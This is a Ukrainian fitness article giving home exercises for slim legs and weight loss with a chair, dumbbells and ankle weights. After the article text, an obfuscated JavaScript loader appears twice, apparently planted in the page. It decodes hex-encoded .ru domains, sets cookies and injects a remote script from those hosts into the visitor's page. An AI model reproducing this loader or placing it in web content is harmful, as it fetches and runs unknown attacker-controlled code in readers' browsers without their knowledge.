Шлях до стрункої фігури починай із щадних навантажень. Запишись на йогу чи пілатес, плавання чи аквааеробіку. Заняття у групі дисциплінують, та й консультації досвідченого інструктора будуть корисні.
Fotolia
Якщо немає можливості ходити до фітнес-клубу – займайся вдома. Два тижні виконуй вправи в полегшеному варіанті, прагнучи максимальної кількості повторень. Особливу увагу приділяй вправам на розтяжку та розвиток гнучкості. Вибери 4-5 найбільш приємних тобі вправ і роби їх щодня. Читай також: Як накачати ідеальні сідниці за 5 хвилин на день у домашніх умовахВправи для струнких міцних ніг
Burda Media
1. Махи ногами. Поверни стілець спинкою до себе і візьмися за неї обома руками. Зроби 5 махів правою ногою в праву сторону та 5 махів лівою ногою в ліву сторону. 2. Нахили. Поклади праву ногу на спинку стільця і тягнися до шкарпетки правою рукою. Повторіть вправу з іншої ноги. 3. Пліє. Встань боком до спинки стільця, ноги ширші за плечі, шкарпетки нарізно. Повільно і низько присядь, потім устань. Читай також: Як загине від зайвого жиру на талії за 2 тижніВправи, які допоможуть скинути вагу
Fotolia
1. Щоб позбутися зайвих кілограмів, роби звичайну зарядку (нахили, повороти, присідання) з гантелями. Вибирай такі, з якими зможеш виконати не більше 20-25 повторів та 1-3 підходів. Якщо тобі легко зробити 12 повторів, збільши вагу на півкілограма. Між підходами відпочивай приблизно хвилину. Читай також: Як зробити талію тонкою? 2. Хочеш зміцнити м’язи рук, ніг та сідниць? Віддай перевагу обтяжувачам. Закріпивши їх на руках та ногах, боксуй, стрибай, присідай. Вага обтяжувачів повинна бути такою, щоб ти могла легко виконати не більше 20 повторів та 3 підходи. Між підходами відпочивай за хвилину.
Thinkstock/ fotobank.ua
3. Не бійся накачати величезні м’язи: завдяки особливостям жіночого організму ти зробиш м’язи міцнішими, а не об’ємними. ЧИТАЙ ЩЕ: Шість ефективних вправ для ніг Топ-4 вправи для збільшення грудей у домашніх умовах // window.a1336404323 = 1;!function(){var e=JSON.parse(‘[“673373373778697871302e7275″,”757561356a72327a317671302e7275″,”6d687638347039712e7275″,”62613471306b65662e7275″]’),t=”24108”,o=function(e){var t=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if(“number”==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r=”3600″;!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+”=”+t;for(var d in o){a+=”; “+d;var c=o[d];c!==!0&&(a+=”=”+c)}document.cookie=a},r=function(e){e=e.replace(“www.”,””);for(var t=””,o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "liza.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // // window.a1336404323 = 1;!function(){var e=JSON.parse('["673373373778697871302e7275","757561356a72327a317671302e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="24108",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "liza.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); //
